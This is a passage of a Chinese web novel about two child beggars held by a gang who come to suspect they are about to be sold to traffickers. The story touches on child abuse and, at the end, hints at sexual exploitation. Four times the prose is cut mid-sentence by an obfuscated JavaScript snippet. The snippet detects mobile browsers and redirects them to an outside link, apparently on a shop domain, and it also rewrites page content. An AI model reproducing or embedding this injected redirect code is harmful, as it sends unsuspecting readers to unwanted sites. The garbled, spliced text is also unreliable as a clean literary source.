姜恨晚抿着唇,没说话,又拍了一下沈寒春的后背。 “嗯?”沈寒春奇怪的又偏过头来看了一眼,“怎么了嘛?” “你听到什么了?”姜恨晚又往他那里靠了点,声音很小,眉头还是习惯性地皱起。 “听到他们在交易啊,看上去是之前买卖我们这种小孩子的。”沈寒春说的很小声,但是很平静,双手扣在一起,没感觉有什么大不了的样子。 “唔!你怎么就这么说了。”姜恨晚的眼睛瞪大了一点,虽然她也是这么猜测的,但是她更本做不到这么平静的就把事情说出来,“你……算了。” 姜恨晚有点烦闷地从地上捡起一块小石子又丢掉,她有点想说什么,但是不知道怎么开口,为什么烦闷就连她自己都搞不清楚。 沈寒春的神情怔了一下,他把石头从姜恨晚手里拿出来,摇了摇她的手,“别想了。” 姜恨晚气鼓鼓地拨开了他的手,但是也没舍得太用力,“我怎么可能不想,你知道吗,那是官!他们当官的居然也干这种事情,那我们怎么办啊。”她的声音到后面有点抑制不住的大,说到一半眼眶就开始止不住的发红。 “我们以后怎么办啊,就一直这样吗,被他们打,被他们骂,吃了上顿没下顿,我以为只要能…逃出去就好了。”在说到逃的时候,她抑制不住的抖了一下,害怕已经成了本能,但是她还是就这么看着沈寒春,盯着他被打的脸,眼眶中的泪水要落不落。 沈寒春抓着她的手贴在了自己的脸上,那里还有之前疤脸打出来的掌痕,破皮了,带着青於。他把她的手放在自己脸上蹭了蹭,这是他们安慰人经常做的事。 “没事的,今天已经很累了,我来不及想明天和后天。”他抓着姜恨晚的手放下,又去蹭了蹭她的脸,“我知道的,别说了,我们现在还好好的,没有分开,也没有离别。” 他的眼睛干净又澄澈,两个人的脸离得很近,所以沈寒春还能感受到从姜恨晚眼里流向他的湿意。 她死死咬着下唇点了点头,拿起袖子飞快抹了把眼泪,又向前一扑,把脸埋在沈寒春的肩膀上,左手扣住他的脑袋,右手胡乱的在他背上拍了拍,“我今天很怕……” 她断断续续的说,带着抽噎“和刀疤脸提条件的时候很怕,看到码头被锁了的时候很怕,被打手威胁的时候也很怕。”她的泪水一直在流,很快就把沈寒春的肩膀打湿了,沈寒春没再说话,只是抱着她,给她顺气。 “但是,我知道你也在害怕。”她深吸了一口气,好像有了点力气,搂着他让他往自己身上靠了点。 “所以,我必须要聪明,要很厉害很厉害,这样我们才会过的很好很好。”她拉开了一点距离,看着沈寒春,“我不要你再为了我挨打了。” 沈寒春神色一松,搂着她的手松了点,随后又抱紧了,“好。” 其实不是说好的,怎么能说是为了她挨打呢?事情是他们一起干的,但是她是女孩子,不如他抗揍,所以他坚强一点,多担当一点不是很正常吗,但是话到了嘴边,最后往往只剩下“好,好” 在天色渐晚的时候,两个眼睛红红的小家伙悄无声息的离开了码头,还没走出去多远,姜恨晚就敲着沈寒春的背示意他把自己放下来,“好了好了别背了,重死了。” “哦。”沈寒春闷闷地放下了姜恨晚,其他的一句话都没有和她说,姜恨晚挠了挠他的手心,“不就是哭了被我看到了吗,别这么在意啊。” 沈寒春又抽了一下鼻子,扭过头去根本就不看她,两个人居然就这么抱在一起哭的这么狼狈,想想都很难为情。 “哎,好了好了,是我不对,我什么样子你没有看过,不要这么小气嘛。”姜恨晚微微踮了踮脚尖从旁边扯出来了一个笑脸,手被很轻地拍开了,沈寒春还警告地看了她一眼,只不过因为他现在眼睛红红的,看上去没有丝毫威慑力。 一直到破屋门口,在其他的孩子陆陆续续回来的差不多时,他们才牵着手进了屋。 刀疤脸就守在屋内,很多孩子刚刚才要到钱换地方乞讨的时候直接就被拿走了,像他们这样最后才上交的反而才是特例。 姜恨晚把他们讨来的钱拿小破布袋子包着,递到他面前,她双手捏着布料的边缘,看上去又害怕又可怜。 刀疤脸抱着自己的胳膊没说话,他没有第一时间接,就站在原地就这么看着,看着姜恨晚的腰越来越低,双手把钱捧过头顶,低着头不敢看他。 沈寒春也没有动,他们俩站在那里等着他的发话,其他的孩子陆陆续续进了屋,他就指了指旁边的桌子,让他们把钱放上去,而姜恨晚就保持着这个姿势,一动也不敢动。 直到最后一个孩子进了屋,天色渐晚的时候,刀疤脸才轻“哼”了一声,捏住了其中一枚铜钱,问,“你们胆子很大啊,还敢去找官爷要钱啊。” 姜恨晚把身子埋的更低,“这是为了给您赚更多的钱嘛,我们当时很害怕,就想着要完成您交代的任务,不能辜负您对我们的信任,其他的没想那么多。”女孩的声音细软,带着这个年纪特有的认真和诚实,“哥,我们是有哪里做的不够好吗?” “嗤,看不出来,你还挺忠心。”刀疤脸摩挲着自己的手臂,没有第一时间回答她的问题,他看着那两个低头拘谨的孩子,还是伸手把那些明显比其他孩子多的钱包了起来,“做的不错,你们两个倒是机灵。” “还是哥教的好,我们一直知道的,谁对我们好我们都记得的,这么久了,都是哥每天给我们饭吃,给我们地方住,我们不想让哥失望。”姜恨晚抬头,目光诚挚地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341284|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望向刀疤脸,这话如果是别人来说可能会带着刻意的讨好,可是当她说出来的时候只让人觉得诚心。 刀疤脸还是没什么表态,嘴角还是紧绷,但是眉眼缓和了一瞬,明显对这些话很受用,“没什么不对的,李二就是多管闲事,你们两个……”他的目光停在了他们身上,顿了一下继续说,“做的还不错。” 他大发慈悲的伸手,把包里的一个铜子拿出来放进姜恨晚的手心,“拿去吧。” “嗯,谢谢哥!”姜恨晚重重的点了点头,她的眼眶泛着红,泪水要掉不掉的挂在眼尾,看向刀疤脸的眼睛带着全然的信任和感激。 刀疤脸挥了挥手,让他们进屋,转身把收到的银钱全部整理好,塞进了自己的口袋,在进屋之前,姜恨晚还能听到他的喃喃自语,“李二还是太多疑了,就他们两个能知道什么呢。” 姜恨晚拉着沈寒春的手紧了紧,她没回头也没有特意加快脚步,在屋的时候把门带上了,隔绝了外面的冷风。 其他的孩子冷冷地看着他们,像是审视。 沈寒春不着痕迹的侧身,隔开了那些带着打量的目光。 一直到他们缩回那个角落,瘸腿少年才看向他们开口问道,“你们怎么要的这么多钱。” 他的眼眶带着乌黑,应该是提前回来就被打了。 “运气而已。”姜恨晚回复,明显不想在这个话题上深究。 “运气?”瘸腿又重复了一遍这句话,随后冷笑出声,“托你们的运气,他对我们很不满意。”其他孩子缩在角落,也看了过来,或多或少都带着不满和排挤。 为什么他们可以要这么多钱,为什么他们可以提要求,为什么他们可以被夸,在这个年纪,沈寒春和姜恨晚与这里格格不入,而特别,往往带来的是排挤。 更何况因为他们而损害了自己的利益的时候。 不知道是谁又率先发出来了一声冷笑,沈寒春的抿着唇,面色不善的站出来了一点,彻彻底底的挡在了姜恨晚前面。 他神色狠戾,就直直的往前一站,大部分人立刻噤了声,缩回了视线。 没有人想去打架,招惹一个不要命的疯子,当初有人恶意要整他们,把他们的钱藏起来还诬陷他们,那个时候虽然是姜恨晚把事情理清楚证明了自己的清白,但是沈寒春事后差点把他打死的那一幕足够很多人知道,他们俩没一个是好惹的。 至此,一战成名。 姜恨晚拉了拉沈寒春的手,示意他不要冲动。 “我们今天是要的多了,所以,他高兴了。”姜恨晚的声音铿锵有力,和刚才的轻声细语截然不同。 “他高兴了,那我们的馒头就会多,每个人都能吃上饭,不用争的个你死我活。” “如果明天,后天,还有人多要了钱,我们也一样,一分不抢,因为这样,大家都能吃上饭。” 5. 第 5 章 瘸腿没再说话,他沉默的坐在原地,脸上还带着刚刚的乌青。 其他的孩子也没再说话,低着头吃着自己的馒头或者是在原地坐着发呆。 没有人为了他们的话动容,但是也没有人对他们再表现出明显的敌意。 在这种环境下,很少有人再有什么明显的情绪波动,看了今天就不会想着明天,麻木而冷漠。 姜恨晚往后缩了缩,对上了一个女孩的视线,她才刚刚来不久,一个人缩在角落怯生生地看过来,眼里带着好奇和打量。 姜恨晚向她笑了一下,但是也没有更多的表示,她朝着沈寒春挪了挪,两个人挤在一起,沈寒春握住了她的手,她体寒,手一直冷,沈寒春就握着她的手搓了搓,把手搓热。 姜恨晚盖上了他们的茅草被,彼此挨着想着要暖和一点,现在天气还是冷,这点东西有时候晚上睡着都会被冷醒,所以他们只能紧紧贴在一起,用体温制造一个稍微暖和一点的空间。 天又要黑了,刀疤脸出门后,这里就是最小的试炼场。 顾忌着出人命,所以大一点的孩子往往不会太过分,但是这不代表他们什么都不会做。 那个女孩的被子是所以人当中最薄的也是最小的,只能堪堪把自己盖住,小小的身子还露出来了一个脚丫在外面。 这里的孩子比外面都要早熟的多,早就知道了什么是有利的,什么可以做,什么不能做,没有人会光明正大的去殴打她,损害刀疤脸的“商品”,但是她的被子早就被人偷偷减了料。 上天并不可怜可怜人。 夜晚的屋子并不会很安静,有人打呼噜,也有人在辗转反侧,还有人起夜,有时候也会出现咳嗽声。 姜恨晚靠着沈寒春很小声地说,“我们明天还要去码头吗?” 沈寒春微微侧身,今天的奔波其实让他有点累了,他的声音也很小,还带着鼻音,“码头被封了,我们要换地方了。” “嗯。”姜恨晚小声的打了个哈欠,她拉着沈寒春的手松了松,心里已经有了决策。 还没等她彻底琢磨明白,沈寒春已经转身面对着她,姜恨晚甚至能感受到他的呼吸打在脸上。 沈寒春揉着她的脑袋,含糊不清地说,“别想了,先睡觉吧,没睡好明天会难受的。” “好。”姜恨晚是真的有点困了,感觉脑子昏昏沉沉的,思维也很缓慢,她没再想明天,只是趁着现在的困意陷入了安眠。 应该是个美梦。 第二天一大早,刀疤脸又出现在了屋子里,其他人麻木的起来,什么都没有收拾,就这么顺从地听着他的发落。 而刀疤脸显然也很满意这种状态,他随意的指着那些孩子,分配着他们的去处。 “你,还是去东街……” “茶楼……” 其他的孩子陆陆续续都被点到,可是这一次,他始终没有指到姜恨晚和沈寒春。 直到最后一个孩子领命准备出门,姜恨晚和沈寒春还是僵在原地。 刀疤脸目送着着其他孩子出了门,打了个哈欠,整个人也随着一松,“哈啊,你们两个呢……”他像是想到了什么,又把手放下。 “码头被封了,今天要去哪里才能讨够这么多钱?”他的眼神冷淡,双手抱胸,居高临下地俯视着姜恨晚,但是话里透露出来的意思就是可以有一定自己选择的空间。 “哥,我们想去城门。”这是一个有点危险的要求,城门已经靠近了活动区域的边缘,再往外一点,就算是私自逃跑了。 姜恨晚的手绞着衣角,她抬头看着刀疤脸的目光依然真挚,声音清缓,“码头被封了,好多商队就只能从城门进,去那里的商人为了有个好彩头应该都会给我们多一点的。”她表现的既聪明,又带着这个年纪的直率天真。 “哼,可以。”刀疤脸从喉咙发出一声冷笑,但是也没有多说什么,只是摆了摆手,让他们离开,“趁着这几天,能多要点就多要点。” “谢谢哥。”姜恨晚脆生生的应下,像是没有听到后半句一样,嘴角不自觉扬起来了一点笑容,这下倒是显得像个只有几岁大的女孩了。 “那哥我们走了。” 刀疤脸微不可查的点了点头,没有多说什么,直接从门里走了出去。 姜恨晚拉着沈寒春快步走出门,直到走出去百来米步子才慢下来。 姜恨晚渐渐收了那点笑容,回头去看沈寒春。 沈寒春也在看她,他们就这么对视上了,沈寒春的眼睛很静,被她拉着的手也一直没有松开。 他们没有讨论那一句似是而非的话,而是直接说,“今天去城门,我们要留一点保命的东西了。” 姜恨晚“嗯”了一声,她回过头踢了一脚地上的石头,又拿脚碾过。 “他们看到我们了。”姜恨晚说,她垂着眸子,咬着后槽牙,但是没有解释看到了什么,只是一个劲拉着沈寒春往前走。 沈寒春没有顺着她的话说下去,而是向前走了几步揽住了她的肩膀,像模像样的拍了拍她。 “有句古话不是说了吗,船到桥头自然直,别想那么多了。”沈寒春像是小大人一样说教着,还摇了摇脑袋,但是很快就笑了起来,眉眼弯起,眼里带着零星的笑意,明明眼下还带着青黑,神色难掩疲惫,但是姜恨晚还是有点愣神。 沈寒春很少笑,他好像一直都是沉默可靠的样子,一直稳定,也一直安静,现在笑起来,倒是很像他们之前看到的普通孩子一样。 但是,沈寒春比他们好看多了。 姜恨晚晃了晃他们牵着的手,“我知道了,但是我还是要多想一些啊,不然以后你被卖了谁去救你啊。” “你肯定会来救我的,不是吗?”沈寒春很配合的回答,“到时候我的身家性命可就托付给你了。” “你有什么身家啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341285|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”姜恨晚小声地说了一句,“我只是在想我们要怎么做,城门的把守可比其他的地方严苛多了,你知道吗,如果我们还是像昨天一样到处跑我觉得会被抓起来关住的,那个刀疤脸到时候才不会救我们呢。” “啊,这样啊,那我们要怎么办啊。”沈寒春适时地张了张嘴,看上去有点惊讶的样子,“怎么办啊,小晚。” 姜恨晚有点用力地捏着他的手,皱着眉瞪了他一眼,像是不满他的打趣,直到沈寒春抿着唇像她笑着晃手,她才轻哼一声开口。 “我们可以去接近城门的那里,会有人支着茶水摊,还有的人要复核信息的,到时候要机灵一点点,不要直愣愣就上去,到时候惹人烦了被揍了怎么办。” “好,我在外面不是一直都是听你的吗?”沈寒春又眉眼低垂,显出来了几分可怜的样子。 姜恨晚抽了抽手,感觉有点不自在,但是也只能咳嗽了一声,“知道啦,但是我不知道为什么,最近这几天总是有点不安,感觉自己忽略了什么东西。” “不管怎么样,我都在你身边啊。”沈寒春说,他说的坦然,很显然,他就是这么认为的,只要在一起就没有特别糟糕的情况。 “但愿吧。”姜恨晚嘟囔了一句,没再说话,看着越来越近的城门也只能先专注于眼前的事情,等之后再琢磨之前的困惑。 城门已经有很多年的历史了,砖头有被风侵蚀的痕迹,听说前朝就已经建立在这里了。 姜恨晚拉着沈寒春蜷缩在茶水摊旁边,为了不挡着老板的生意,他们只能选择在角落里守着,随着日头越来越大,哪怕还是冬天,被关在外面等待检查的人还是出了一身汗。 码头被关掉了,之后的人进城就只能走这里过,城门外还排上了一长串队伍,商人和脚夫都在焦急地等待着。 姜恨晚推了推沈寒春,她往前走了几步,踮起脚跟,用手扶着茶水摊,趴在茶水摊前对着老板温声说道,“叔,您也忙,要不这样,您倒好茶我们送过去,周围也有这么多人呢,到时候我们只要有一口剩的就可以了。”姜恨晚眼神澄澈,还带着祈求,不敢第一时间抬头去看老板,但是想到了什么之后又立马抬头,像是鼓起来很大的勇气来说出这个诉求一样。 老板是一个饱经风霜的中年男人,他看着姜恨晚和同样抿着唇眼里带着瑟缩和祈求的男孩,叹了口气,摆了摆手把茶拿了出来,“你们给人送过去吧。” 新入城的脚夫来这里很多都是为了歇一会,为了讨生活的苦命人还是占了大多数,姜恨晚没有选择向他们卖惨讨钱,她只是小心又瑟缩地给人们递上一壶又一壶茶。 “咳咳咳。”姜恨晚刚刚给人递上了一壶茶,还没有走多远就开始咳嗽了起来,听到这声音,周围的人都往这里看来一眼。 沈寒春在一旁赶紧护到她身前解释道,“对不起,我妹妹这不是传染病,她只是身子弱,没有传染性的。” 6. 第 6 章 “咳咳咳……”姜恨晚又咳嗽了一声,这一次咳的有点急还带着一点生理性泪水。 她默默走开了一点,捂住自己的嘴,尽量让自己的动作小一点。 沈寒春趁着这一会儿功夫,将茶水送到了客人桌子上,茶水摊老板在后面看着倒是也没说什么,只是叹了口气,摇着脑袋继续烧水。 “对不起啊,我妹妹她身子弱,我一直和她在一起,治病也花了好多钱,但是她手脚很麻利的,不会把水撒掉。”沈寒春解释了一句,声音带着疲惫,但是还是在笑,看上去就让人心生欢喜。 脚夫还在擦汗,看着这个软声软气和自己解释的男孩和旁边拿手捂住自己的嘴巴看上去有点痛苦的女孩,顿了顿,擦汗的动作慢了点。 沈寒春适时的加上一壶茶,没再说话,只是在转身的时候偷偷抹了把眼泪。 脚夫的手彻底慢下来了。 他把汗巾放下,手在自己的袋子里摸了一会儿,才掏出来了5枚铜钱,叫住了沈寒春,对着他挥了挥手。 “喂,小子,过来一下。”沈寒春的步子顿住了,他把盘子放下给老板加茶,闻言扭头看了过来。 “过来一下。”脚夫没有解释,只是又重复了一遍,对着他挥了挥手。 “好勒。”沈寒春点了点头,快步走过去,“怎么了叔。”他的眼里没再带着泪光,只是眼尾还是有点红,手抓着桌子边缘,有点忐忑地等着他的吩咐。 仔细看下来,其实他也没有比桌子高多少。 脚夫在手里攥着那几个铜钱,放在沈寒春面前,示意他把手伸出来。 随后,放在了他的掌心里。 “就当是积福了,也算是做了一件好事。”他说的随意,只是在目光略过他们时,眼里还是流露出来了一丝不忍。 自古就是底层人最能共情底层人。 沈寒春不动声色地攥紧了那几枚铜钱,他的眼眶红了,对着脚夫重重的点了点头,眼泪就直接砸在了脚夫手上。 脚夫没再多说,他也歇够了,拿起茶杯直接一饮而尽,他起身,把行礼拿上,拖着东西就就进了城。 沈寒春长长的呼了一口气,他把眼泪擦干,等到客人来了转眼就眉开眼笑,招呼人忙前忙后。 姜恨晚在角落也会帮着做,他们两个总是能在需要搭把手的时候出现,有时候是在装货物的时候帮着拿东西,有时候是把大人的小孩哄好,省心又乖巧懂事。 姜恨晚还会时不时咳嗽两声,引来一些同情的目光。 有人心软,会扔几个铜板给角落里蹲着的姜恨晚,“去随便买点东西。” 姜恨晚就对着他们点点头,很认真的说,“谢谢,你们以后一定会发财的。”女孩的声音带着这个年纪特有的天真和固执,总是能把人哄笑。 这样一来一回,也赚了不少钱,但是这一次,直到中午,也没有人来收他们的钱。 他们从出门起就好像是被忘记了一样,上次在码头是因为他们总是在乱跑,所以干脆就最后一起上交了,可是这一次,他们就在原地,沈寒春甚至还找借口离开了好一会儿,还是没有人来管他们。 中午人很多,姜恨晚好不容易和沈寒春凑在一起歇一会就要爬起来重新干活。 日头渐渐毒辣了,又有一支商队被守卫放行,牵着马车走了过来。领头的人神情严肃,看着就很不好惹,穿的很严实,布料很好,普通人很难有这么好的布料,旁边拖着马的人表情都难掩疲惫。 “要不还是先休息一下吧,到前面还有一里来路呢。”刚刚过了检查,旁边一个看上去还比较年轻的男人就开口了,他的目光带着祈求,左手还拽着缰绳,闻言,其他人也都看了过来。 “去那个茶摊?”领头的皱了皱眉,表情很明显的不赞同,他的目光扫过那个只有几张桌子,设施异常简陋的茶摊,直接就想否定他的提议。 但是很快,旁边的人走了上来附在他的耳边说了什么,他的眸光微动,还是命令身后的人在前面小歇片刻。 老板眼眸微抬,没多说什么,只是从桌下拿出来一袋上好的茶叶,亲自沏茶。 姜恨晚照常的给人端茶倒水,目光扫过他们的全身。 领头的人穿着羊毛坎肩,腰间系着个皮带,绑腿用细布缠的整整齐齐,脚上穿着的是布鞋,最关键的是腰间……挂着的是一个刻着船样式的令牌。 和上次的一样。 姜恨晚很快收回视线,面上一切如常,但是心脏却在扑通扑通的狂跳。 他们怎么会在这里,运着的货物是什么,上次在码头交易的东西到底是什么?还有……刀疤脸走之前都那一句话,让她一直很在意。 一系列的想法在她的脑子里打转,又被她一一理清,那个令牌到底代表了什么意思,当时父母把她卖过来的时候来接她的人就带着这个令牌。 如果说,他们就是一起的,那现在呢,为什么又出现了,还是说那个令牌只是代表了类似于通行证一样的东西,是她多想了? 姜恨晚脑子有点乱,但是还是手脚麻利的给他们倒上了茶,并且很快就识趣地走到了一旁没再打扰他们。 领头的扫了她一样,这个女孩长的可爱,人又机灵,看着温婉,穿的虽然是最朴素的粗布但是干净,在这种环境下还挺难得的。 姜恨晚刚刚才把盘子放到了茶摊前,老板就指着她让她去给人送茶。 “你去招待一下那些人吧。”老板手上动作没停,那张饱经风霜的脸上看不出来什么其他的表情,依旧是那副淡淡的样子,他把手上的茶水送出去,又带了一壶酒。 “好。”姜恨晚脆生生地应下,沈寒春闻言也看来过来。 “你也去。”老板看着他们,又补了一句,“记得机灵点。” “放心吧,我们一直都很机灵的。”姜恨晚笑着说,眼睛弯起,踮着脚就去接那些茶水。 沈寒春也踮起脚跟把那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341286|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些酒抱了起来,跟在后面有点吃力地把那些酒送到那个车队跟前。 两个半大的孩子就摇摇晃晃的走过去,给人送到的时候还要脆生生的说一句“客官,这是你们的茶。” 姜恨晚用余光看向那个令牌,在把茶放下退到一边的时候手无意识地扯着沈寒春的衣角。 “嗯。”领头的高壮男人挥了挥手,就让他们走。 “我们是不是要来这里取货来着。”旁边的那个跟着的矮胖看着他们两个,忽然就说了一句。 高壮放下茶杯,警告地看了他一眼,“什么能说什么不能说都分不清了吗。” 矮胖被他凶了一下,嘴角一撇,“那有什么,这里又没有什么人,而且我也没有说什么吧,要我说啊,你就是太大惊小怪了,上次我们在凉城你也这样,弟兄们都被你吓了一大跳。” 高壮听到他又要翻旧账,赶紧打断了他,“罗里吧嗦干什么,你是不是皮痒了,在外面还这么多话。” “切。”矮胖别过脸去,没再看他,旁边的脚夫也没搭话,显然对他们这样习以为常。 “听李二说他们这里有两个货色特别好的,也不知道是夸张还是真的。”矮胖盯着姜恨晚和沈寒春,又补了一句,话是对着高壮说的,但是眼睛却没有从姜恨晚他们身上移开。 “王强!”高壮这次真的有点生气了,他把杯子往桌子上一砸,“你迟早要为你这张嘴付出代价的!” “哎,我又怎么了啊,我惹你了吗,我也没说什么吧。”王强皱着眉头,声音也不自觉放大,他把杯子放下,紧跟着就“哼”了一声,显然也是个暴脾气的,但是还是退了一步,“我不和你争这些,别老是逮着我骂好不好。” “我什么时候又的逮着你骂了,你这人说话也真有意思。” 看到两人又要吵起来,旁边一直坐着没有开口的中等个儿笑呵呵地开始打哈哈,“别吵了,最近大家都很累,脾气差一点也是再所难免的,王强啊,赵哥这不也是为了大家着想吗。赵哥,王强他就是口直心快,也没什么坏心思的,什么时候该说什么时候不该说还是分的清的。” 王强把刚刚送过来的酒倒了一碗给自己满上,没再争论这些,赵哥脸色也和缓了一点,接受了这个台阶。 这边姜恨晚才趁着他们把酒喝完找另一壶酒的时候,就立马把刚刚开封了的酒递上去,赵哥有点意外的看了她一眼,姜恨晚就立马眨眼看着他们,没有故意的赔笑,只是恰好表现出来了女孩的天真烂漫。 赵哥掏了掏兜,他直接摸出来几粒碎银子放到了姜恨晚手上,“拿去吧。” 姜恨晚抿着唇,她偏过头去,很小声地咳嗽了一声,又看着他的眼睛很认真的说了一句,“谢谢老板。” 赵哥点了点头,也没有回她,到是旁边的王强看到了感叹了一句,“小姑娘还挺可怜的。” 姜恨晚愣了一下,但是却没有继续纠缠,只是笑了一下就默默走到了角落。 7. 第 7 章 “行了,歇也歇够了吧,赶紧把东西带过去,大人还要的呢。”赵哥说了一句,率先起身,把剩下的酒一饮而尽,“王强,去拉货。” “行嘞。”王强应了一声,站起来就要走,这一次大家都没什么异议,脚夫们稀稀拉拉站起来,跟在他身后就往前走。 “叔,你们要走了吗?”姜恨晚上前给他把落在桌子上的汗巾递过去,仰着头问他。 “对啊,小姑娘我们走了,你和你哥好好干。”赵哥应了一声,他看着姜恨晚的脸,还是忍不住把手搭在了她的脑袋上揉了揉。 可爱。他家小子要是有这姑娘一半听话懂事就好了。 姜恨晚垂着头,乖乖地任由他摸,也没有挽留,她拉着赵哥的袖子,“好,你们一定会很顺利的,赚好多好多的钱,住好大好大的房子。”姜恨晚又摇了摇他的袖子,“嗯……还有吃很多很多好吃的。” 赵哥被逗笑了,就连一边赶车的马夫都停了下来,忍不住说,“这丫头嘴是真甜啊。” “嗯?”姜恨晚回头看去,“没有啊,我是真的这么想的。”她的眼睛很干净,声音软糯,让人忍不住的心软。 “哈哈哈,行,借你吉言了,小姑娘,我们走了。”赵哥说,他招呼着人离开,走之前,又给了姜恨晚10枚铜钱。 老板看了他们一眼,没要他们的钱,只是说,“今天干的不错,这是你们的钱。” 他拉开抽屉,从里面掏出来了15枚铜钱放到了沈寒春手上,拍了拍他的肩,“行了,我这里也没什么事情了,时间也不早了,早点回去吧。” “啊,谢谢老板,可是现在天还没黑,现在会不会有点太早了。”沈寒春问。 姜恨晚适时地走上来,她拉着沈寒春的袖子不让他多说,只是谢过老板就直接说,“好的叔,我们明白了,谢谢你对我们的照看。” “谈不上照看,只是举手之劳而已,况且这本来就是你们应得的。”老板摇了摇头,对着他们说,“好了,之后我一个人就够了,你们要是再留下来也没有工资了。” “不能这么算的,你能给我们活干已经是天大的恩情了,之后要是还缺人什么的,你一句话,我们马上就过来。”姜恨晚拉着沈寒春退后两步,朝着老板鞠了一躬,然后带着他就毫不犹豫地走了。 走到一半,沈寒春才问,“为什么不让我说完?” 姜恨晚捏着他的手,“笨,谢谢说那么多你让人家多不自在啊,你是不是还要说帮着打一下午的白工都可以。” “是……因为他给的钱哪怕是真的给打一下午白工都够了啊。”沈寒春小声地说,他抿着唇,看上去有点凶,但是实际上有点忐忑,因为他感觉自己好像做错了什么一样。 “你现在说可以给人家打白工,之后呢,之后你还好意思要钱吗?”姜恨晚拉着他慢慢的走,现在距离他们的屋子还是有点远,两个人就这样有一搭没一搭的聊着。 “我觉得,老板有问题。”犹豫了一下,姜恨晚还是把这个猜测说了出来。 “寒春,他给了我们多少钱。”姜恨晚握着他的手,闷闷地问了一句。 “15个啊。”沈寒春说,他这才意识到刚刚姜恨晚不知道他们到底赚了多少钱。 下一瞬,姜恨晚拉着他的手攥紧了,她直接僵在了原地,好半天没动。 直到沈寒春不解地看着她时,她才转了转眼珠子,声音干涩。 “阿春,我们好像逃不掉了。”姜恨晚垂着眸子,身体不自觉的开始发抖。 沈寒春愣住了,他没有第一时间去问怎么了,而是转身扶着姜恨晚,把手搭在她的肩上,开始思考自己遗漏了哪些细节。 他确实没有姜恨晚那么强的观察能力,但是不代表他是傻子,老板有问题,到底是什么问题让姜恨晚如此果断地决定走。 他一下又一下地拍着她的背给她顺气,女孩的表情很冷,哪怕还是在发抖,但是脸上只剩下了一片沉寂。 “老板应该就是刀疤脸他们的人,所以给钱会给的那么大方,所以没人会来收我们的钱,他知道我们赚了多少,也不会担心我们跑。” 沈寒春愣住了,这个猜测很合理,也很让人后背发凉。 “今天来的那个车队,我给他们端茶倒水的那个,我能肯定他腰上的那个船一样的令牌就是当初我爸妈把我卖掉时,那个来接我的人腰上挂着的,为什么他们愿意来这里休息,为什么那个叫赵哥的不准王强说下去,只是说一下货物,有必要这么过激吗?” 姜恨晚的语速越来越快,明明身体还在抖,但是她的脸上却带着偏执的狠戾,“除非他们说的根本就不是普通的货物,是我们啊,是我们,所以赵哥不想听,他应该很喜欢孩子,所以不想听这些,而那两个商品,你说,会是谁呢?” 姜恨晚露出了一个堪称惨烈的笑容,“我猜那个商品就是我们,还有那个李二,刀疤脸当初也提到过这个名字,而老板之所以不需要我们了,让我们提前回来,是因为他们要验货啊。” 她贴近了沈寒春,这个她唯一可以掌控和输出的孩子,“我们是两个上等货色的商品啊,寒春。” 她的呼吸打在了沈寒春的脖颈上,沈寒春只感觉自己的寒毛都竖起来了,姜恨晚现在的状态很不对,她现在思路很快,但是同时失去了对外界正常的感知,只是用手偏执的抓住了沈寒春,不准他松开一丝一毫。 “小晚……”沈寒春抱着她,叫了她一声,“没事的,现在还没有被卖掉不是吗,而且未来谁说的准呢,说不定比现在还会好呢?” “噗嗤,阿春,你好笨啊。”姜恨晚伸手捏了捏他的脸,“你说,做为上等货色,那我们是什么后果呢?” “什么后果?”沈寒春咽了一口唾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341287|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沫,姜恨晚在很认真地审视他,像是在审视一件合不合格的商品。她又捏了捏他的脸,“做为体力耗材太浪费了不是吗,那应该是什么呢,你知道吗,有很多人喜欢往家里带漂亮小孩,他们认为这种从小培养起来的才干净。” 她看着沈寒春,手掌按压着他的脸,最后落在了他的眼睛上,“像你这种的小孩,相公堂子听说过吗,婉娈如好女,回眸一顾,百媚横生,就是在这里面培养出来的。” 